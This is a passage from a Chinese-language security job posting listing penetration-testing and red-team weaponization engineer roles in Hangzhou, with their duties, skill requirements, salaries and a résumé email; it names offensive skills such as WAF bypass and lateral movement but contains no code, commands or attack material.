3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 [email protected]
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 [email protected]
专注渗透测试技术
全球最新网络攻击技术
END